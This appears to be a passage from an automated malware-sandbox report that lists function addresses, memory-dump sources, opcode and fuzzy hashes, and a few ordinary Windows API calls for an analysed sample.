Instruction Fuzzy Hash: 55F1AE74E01228CFDB64DFA9C884B9DBBB2BF99300F1081AAD549A7350EB355E85DF50

Function 2993A1D0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74efe077a11537f7ccf15d709a1f4c2d3f58699e1d8279f41a48cba299c807b8
Instruction ID: fef21363c869ac0cdc425ef27c05e411ca475fe2be42c7e9da161c540f1969fe
Opcode Fuzzy Hash: 74efe077a11537f7ccf15d709a1f4c2d3f58699e1d8279f41a48cba299c807b8
Instruction Fuzzy Hash: D9F1AC74E01228CFEB64DFA9C884B9DBBB2BF98300F5081AAD509A7350DB355E85DF50

Function 2993D5D8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d541055ccf397d36319e574bc9acf45baffda20b92158161738c3e0de6173f
Instruction ID: 1033064203975e0c94bff11d709ba373e11fd542185c936b9358f98824988c44
Opcode Fuzzy Hash: 52d541055ccf397d36319e574bc9acf45baffda20b92158161738c3e0de6173f
Instruction Fuzzy Hash: 6DF1BD74E01228CFDB64DFA9C890B9DBBB2BF99300F5081AAD509AB350DB355E85DF50

Function 2993AD60 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f90b3e3ab5e605e455a7477364cf4d44afeab10e9017ad791191e7b677e6f743
Instruction ID: cb1a2de2266f895cb3c3b813c36d083aae2eb51f924ca6dfdae996d413d97408
Opcode Fuzzy Hash: f90b3e3ab5e605e455a7477364cf4d44afeab10e9017ad791191e7b677e6f743
Instruction Fuzzy Hash: DCF1AC74E01228CFEB64DFA9C894B9DBBB2BF98300F5081AAD509A7350DB355E85DF50

Function 2993E168 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1dc0ccae338562a7fc8fd2655ab72fef26e0a962d8e0b71e9af1ba9493b65e8
Instruction ID: 23417a00d9aac3651ce8aaa088842b129a27035319bd035efac78c2af58a786b
Opcode Fuzzy Hash: a1dc0ccae338562a7fc8fd2655ab72fef26e0a962d8e0b71e9af1ba9493b65e8
Instruction Fuzzy Hash: 93F1BC74E01228CFDB64DFA9C884B9DBBB2BF99300F5081AAD509A7390DB355E85DF50

Function 2993C480 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c312aefbfad8d251916edd351516234213605a4ddb765d5cab4d85d95f4173
Instruction ID: 6b3df070e543b2ddcbc1adbffc9d373f36396b687f326075bbc66953f7bceb16
Opcode Fuzzy Hash: 35c312aefbfad8d251916edd351516234213605a4ddb765d5cab4d85d95f4173
Instruction Fuzzy Hash: B7F1BE74E01228CFDB64DFA5C884B9DBBB2BF99300F5081AAD909A7350EB355E85DF50

Function 2993F888 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e727e9e552a05c64ef57f8735ecd0c8ee12170a02e8086d23767f05d2a603674
Instruction ID: b358cd3eb2a4dd735aa94cd8ab2c04e29d5ea70bf50c7b54e6f903795b25cfd8
Opcode Fuzzy Hash: e727e9e552a05c64ef57f8735ecd0c8ee12170a02e8086d23767f05d2a603674
Instruction Fuzzy Hash: 6EF1AC74E01228CFEB64DFA9C884B9DBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 2993B8F0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e76fbe452eae3e8205c94775cb9308512a244c2c5cea17d850be1ae0ca152e
Instruction ID: 8167af84e00769cb3a8e6f820fd388eeb3c18426d32c61ac4d91ecb9b96b61d5
Opcode Fuzzy Hash: d7e76fbe452eae3e8205c94775cb9308512a244c2c5cea17d850be1ae0ca152e
Instruction Fuzzy Hash: 99F1AD74E01228CFDB64DFA9C894BADBBB2BF98300F5081AAD509A7350DB355E85DF50

Function 2993ECF8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f951b0c08b77f7f0b071aab22fb66e5bd5d74c7c62c5176faf75ee8f6f3d6ac
Instruction ID: 7824dc6ce4d915970bb43f24b4ac3306829c7ec4a4746f7ae0e39fdd3661e8ba
Opcode Fuzzy Hash: 3f951b0c08b77f7f0b071aab22fb66e5bd5d74c7c62c5176faf75ee8f6f3d6ac
Instruction Fuzzy Hash: E6F1AC74E01228CFEB64DFA9C884B9DBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 2993D010 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19b4bcadcc074b0030eaba727e534895b5ee3460989ba03ac11ececab066e327
Instruction ID: d581b381b0f4fa415fe1e53285f519be406a3d3f8aa71e64bd08a1a25ddd7a68
Opcode Fuzzy Hash: 19b4bcadcc074b0030eaba727e534895b5ee3460989ba03ac11ececab066e327
Instruction Fuzzy Hash: 02F1BD74E01228CFEB64DFA9C890B9DBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 29930040 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b00b504ca567106e30276996afafd58f7c70c3b11e9ac78b324a6ec981b358f8
Instruction ID: 9a5dbb8f6917dc78e10ca17d595c106246baeeada7b402d3d49d812fb0fc4790
Opcode Fuzzy Hash: b00b504ca567106e30276996afafd58f7c70c3b11e9ac78b324a6ec981b358f8
Instruction Fuzzy Hash: 8CF19F78E01228CFDB64DFA5C894B9DBBB2BF98300F1081AAD549A7350DB345E85DF50

Function 2993A798 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0930e28a5da9e68c175b28178ce960377f4c0dd6d113b861f3cdfabcf8819166
Instruction ID: 47ad147b853419ec59ac7329fb208151f85c5e14c778f1d2b807957de2c75028
Opcode Fuzzy Hash: 0930e28a5da9e68c175b28178ce960377f4c0dd6d113b861f3cdfabcf8819166
Instruction Fuzzy Hash: 41F1AD74E01228CFDB64DFA9C884B9DBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 2993DBA0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 894123008ff25dbdf341b313c1ecee171040dd268d09e3e6c2a368a3126df96c
Instruction ID: 8ee5b3d37e652cc0cdea53779c5e0853ea9d2d7f71519559b3c7acae5b05627b
Opcode Fuzzy Hash: 894123008ff25dbdf341b313c1ecee171040dd268d09e3e6c2a368a3126df96c
Instruction Fuzzy Hash: 71F19C74E01228CFDB64DFA9C894B9DBBB2BF98300F5081AAD909A7350DB355E85DF50

Function 2993E730 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6973cf8503ac845960cbf81aecc007100e750c747f60abe0506171e15648b6a
Instruction ID: 72b58b17149644316fb5d5465ca3f9c2b53a0f24acf424fe18a8d06fe2027c34
Opcode Fuzzy Hash: d6973cf8503ac845960cbf81aecc007100e750c747f60abe0506171e15648b6a
Instruction Fuzzy Hash: 8EF1AC74E01228CFEB64DFA9C884B9DBBB2BF99300F5081AAD509A7350DB355E85DF50

Function 2993B328 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f90f94c900e654e2c9d57df1bcdc1cf466e3c160e5156e0885a72242b1b17f51
Instruction ID: f52101df432587b13a736a4130cc0270588e2a7f14ada989d4fe8feb9f9a70e9
Opcode Fuzzy Hash: f90f94c900e654e2c9d57df1bcdc1cf466e3c160e5156e0885a72242b1b17f51
Instruction Fuzzy Hash: D1F1BD74E01228CFEB64DFA9C894B9DBBB2BF98300F5081AAD509A7350DB355E85DF50

Function 2993BEB8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6274bf84e962fe0cc3e96d84c6748eed0a8c303558c02bf83697f6eed3b7cf
Instruction ID: 728620dde597fc3432a9e396ca227bb5ed5f72426c29aadb6b6813ecb95b4783
Opcode Fuzzy Hash: 3a6274bf84e962fe0cc3e96d84c6748eed0a8c303558c02bf83697f6eed3b7cf
Instruction Fuzzy Hash: D0F1CE74E01228CFDB64DFA9C884B9DBBB2BF98300F5081AAD809A7350DB355E85DF50

Function 2993F2C0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a730288132bddaac1f585a0b8e808f2476a384786dd7b5029e72d6a40067857d
Instruction ID: 78f9f44effdbd67356059dbe6c973f0a29b2ffcdda66a380ff85ef6c37f8a0e8
Opcode Fuzzy Hash: a730288132bddaac1f585a0b8e808f2476a384786dd7b5029e72d6a40067857d
Instruction Fuzzy Hash: 88F1AC74E01228CFEB64DFA9C884B9DBBB2BF98300F5081AAD509A7350DB355E85DF50

Function 29930608 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085768141e19ab008866eecdfc8111a5a4ded9255f9c67d1f520f0ff624e9949
Instruction ID: 4e9278b42d8ce5d3d5ecb136b41cc39d8d5684cbb9bbe61277d13f1f36f292c1
Opcode Fuzzy Hash: 085768141e19ab008866eecdfc8111a5a4ded9255f9c67d1f520f0ff624e9949
Instruction Fuzzy Hash: 6FF19E78E01228CFDB64DFA9C894B9DBBB2BF98300F1081AAD549A7350DB345E85DF50

Function 2993CA48 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ddf69d98bd42097091897afed3747c3ddd0c2d2144d9168316c44ae3a15f5f
Instruction ID: 1ce17ac7637d5aefbbc36fccfe26f4e295445ecedddf899894fb10a7d4fb76cc
Opcode Fuzzy Hash: e0ddf69d98bd42097091897afed3747c3ddd0c2d2144d9168316c44ae3a15f5f
Instruction Fuzzy Hash: C5F1AF74E01228CFDB64DFA9C884B9DBBB2BF99300F5081AAD909A7350DB355E85DF50

Function 29932BF9 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f956a26ffd8d888414566ee34caa91ee975708abdd5740f958a21153daf525
Instruction ID: 1c3ce5801c019e117067c5c555a4aee8f9daa605e582858e8b151ed7fa1c329e
Opcode Fuzzy Hash: 62f956a26ffd8d888414566ee34caa91ee975708abdd5740f958a21153daf525
Instruction Fuzzy Hash: E4B11571D006598FDB14DFA9C844B9DFBB1FF89310F10C2AAD448AB265EB709A85CF85

Function 2995F510 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2baa925ac2705a77502838524540c5ce195933e3b2ffcaa98abbbe7c838887
Instruction ID: e4313f69cbce103fec8176aee4eaa7a48783e8892b9cbd744338e6c7537d6fc5
Opcode Fuzzy Hash: 9b2baa925ac2705a77502838524540c5ce195933e3b2ffcaa98abbbe7c838887
Instruction Fuzzy Hash: 2BB1B475E01218CFEB64CF6AC944B9EBBF2AF89310F10C0EAD549A7254DB345A85CF51

Function 2995D970 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 652f75dce9964bbb59127590b59c2af68c092d77fd250d57e1afd39f2a2c59f9
Instruction ID: a641142a806972910cf69c4d239cfd58b82ebf8c6d51d46b60bee6a032478c3b
Opcode Fuzzy Hash: 652f75dce9964bbb59127590b59c2af68c092d77fd250d57e1afd39f2a2c59f9
Instruction Fuzzy Hash: F5B1B474E012288FEB64CF6AC944B9EBBF2BF89300F14C0EAD449A7254DB745A85CF51

Function 2995D280 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd66bcfba50e0ccba7604ab2c696759780326fd43922c22d9b90a042468e56c8
Instruction ID: 9d8965396cf653178fa54be4a3bcbb9386deb04cc6d2c7896364ff6c7acf7f8a
Opcode Fuzzy Hash: cd66bcfba50e0ccba7604ab2c696759780326fd43922c22d9b90a042468e56c8
Instruction Fuzzy Hash: D4B1B474E01228CFEB64CF6AC944B9EBBF2AF89310F14C1EAD449A7254D7345A85CF51

Function 2995EE28 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15f5ceddb717eea4544d51a1fd4672807a3c72579072218be7ec37d4ade4f684
Instruction ID: 32e7baa55eaaafc62adba0fa501e19c7b410f4b29a18164f46f7523f1fcf8d76
Opcode Fuzzy Hash: 15f5ceddb717eea4544d51a1fd4672807a3c72579072218be7ec37d4ade4f684
Instruction Fuzzy Hash: 4AB1C475E01228CFEB64CF6AC944B9EBBF2AF89310F14C0EAD449A7254DB345A85CF51

Function 2995E740 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e022389571bf2f99f79f37a330d797a65a5cfc899d47c57692e110f1da929715
Instruction ID: aca2e61af8577a32c0dc88211a26f74f9c3cf067a158c33054e82c5caae1c0c1
Opcode Fuzzy Hash: e022389571bf2f99f79f37a330d797a65a5cfc899d47c57692e110f1da929715
Instruction Fuzzy Hash: 81A1B574E012288FEB64CF6AC984B9EBBF6BF89300F10C0E9D549A7254D7355A85CF51

Function 2995E058 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c0d9b20996728e862805e92956fad211e16e322a70e5d62a3b583714175c869
Instruction ID: 78c9de18463c99610b14be50fef49a57797401ae5c87d1680814047bde7cf77b
Opcode Fuzzy Hash: 5c0d9b20996728e862805e92956fad211e16e322a70e5d62a3b583714175c869
Instruction Fuzzy Hash: 97A1B574E01228DFEB64CF6AC984B9EBBF6AF89300F10C1E9D449A7254D7345A85CF51

Function 28DFE1C8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2543136434.0000000028DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_28df0000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e0816a7377767a609a5752fbd13f73d5bb01dbfd84ec1bff8d2f8ab07868f9
Instruction ID: 7585a015f615585395176fccabe371b7ac329f3f6cea4220528062b94de1e611
Opcode Fuzzy Hash: a2e0816a7377767a609a5752fbd13f73d5bb01dbfd84ec1bff8d2f8ab07868f9
Instruction Fuzzy Hash: 62A11574D00218CFEB14DFA9C884B9DBBB1FF89304F208269E409AB391DB749989CF55

Function 2995E730 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1151a22ce8a471a827d18292b12e457462734dfdfdbe5334cb567f20e9a718
Instruction ID: 06e4c504094a1edd859a78e92dc0eb439bd0d1bb9724fd02ed9c270a2c19ff57
Opcode Fuzzy Hash: de1151a22ce8a471a827d18292b12e457462734dfdfdbe5334cb567f20e9a718
Instruction Fuzzy Hash: E971A674E012288FEB58CF6AC98479EBBF2AF89300F14C0EAD44DA7254DB744A85CF51

Function 2995E048 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd89f5705b2ec82cc4e20c867e0547c3611b6375211fd148c2fe78a881742a65
Instruction ID: a1fa8863e6e3136435efca8fe884d28d689afc86736ee04e431c0de4957e310a
Opcode Fuzzy Hash: fd89f5705b2ec82cc4e20c867e0547c3611b6375211fd148c2fe78a881742a65
Instruction Fuzzy Hash: B171B774E012288FEB58CF66C98479EBBF2AF89300F04C1EAD40DA7254DB744A85CF11

Function 2995D272 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4024baac345920ff952458809c307667a83fde6d16f769dd3e96d2e2574f250
Instruction ID: 14710c58ce74f4c05961c4c903ed9e69d0fc11ba0a759c7a1f70527daa49f7e6
Opcode Fuzzy Hash: a4024baac345920ff952458809c307667a83fde6d16f769dd3e96d2e2574f250
Instruction Fuzzy Hash: 8B4166B5E016188BEB58CF6BC95479AFAF3AFC9300F04C1BAC50DA6254DB744A858F51

Function 2995EE19 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44e82a9e1d01b363392ac265d6ca26566af31343c3d490772c703942697e5ad
Instruction ID: c019affddbe7a53b46424a23cd7ee62ea72f3a06afba7ec0f86c847ad2a94d39
Opcode Fuzzy Hash: d44e82a9e1d01b363392ac265d6ca26566af31343c3d490772c703942697e5ad
Instruction Fuzzy Hash: C6417971E016188BEB58CF6BC94479EFAF7AFC9310F14C1BAC50DAA254DB740A868F51

Function 2995F501 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e557fae4bd9e6aa857fbc2caa4709dda16bb6e3d73ac1fffaa57fe0aa71772b7
Instruction ID: c3b0b16718a685bf3d8b2279d324b5998bb6765a01a3ce865d7d96b95a1ab0dc
Opcode Fuzzy Hash: e557fae4bd9e6aa857fbc2caa4709dda16bb6e3d73ac1fffaa57fe0aa71772b7
Instruction Fuzzy Hash: 60416AB1E016188BEB58CF6BC95479EFAF3AFC9310F04C1BAC54DA6254DB740A868F51

Function 2995D96C Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c8e040d3bedcaac7670c58bf9fc855eaa2e615eccf7217242eedbac4d19fc3
Instruction ID: df1d67454639543c28fc096b73708fe22a5eac84f13dee615957082d3b596789
Opcode Fuzzy Hash: d3c8e040d3bedcaac7670c58bf9fc855eaa2e615eccf7217242eedbac4d19fc3
Instruction Fuzzy Hash: B34179B1E016188BEB58CF6BC94479EFAF3AFC9300F04C0BAC50DA6254EB740A858F51

Function 2995AB39 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdb28947ad2ed0ea5ba14aa0ea7b45022abcaeb2918116e2cf736a10b4eddc9a
Instruction ID: 7626822c2dcb233174e993baf2d8b74d4d17cd9e5bf9669e8d47e681cee7efcb
Opcode Fuzzy Hash: fdb28947ad2ed0ea5ba14aa0ea7b45022abcaeb2918116e2cf736a10b4eddc9a
Instruction Fuzzy Hash: 9A41D574E012188FEB68CFBAC85079EBBF2AF89300F50C0A9C419A7255DB355A86CF55

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 29B5C877 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 29B5C906
GetCurrentThread.KERNEL32 ref: 29B5C943
GetCurrentProcess.KERNEL32 ref: 29B5C980
GetCurrentThreadId.KERNEL32 ref: 29B5C9D9

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 35d728b5a58411a40f0144d9d4eced6a4ec887f89482b61067abb3e1d5c4484f
Instruction ID: bf692d5e9cf6f992432f791cf8daee5f84b9abde3f5d1d7f8e53fd04a65af921
Opcode Fuzzy Hash: 35d728b5a58411a40f0144d9d4eced6a4ec887f89482b61067abb3e1d5c4484f
Instruction Fuzzy Hash: F95196B49013498FEB19DFAAC988B9EBBF1EF89310F20805DE009A73A0D7345945CF65

Function 29B5C888 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 29B5C906
GetCurrentThread.KERNEL32 ref: 29B5C943
GetCurrentProcess.KERNEL32 ref: 29B5C980
GetCurrentThreadId.KERNEL32 ref: 29B5C9D9

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 986e18229a4f1030d39827bbaa3adca7a01321ae573e9c2e8c445b93d831e01e
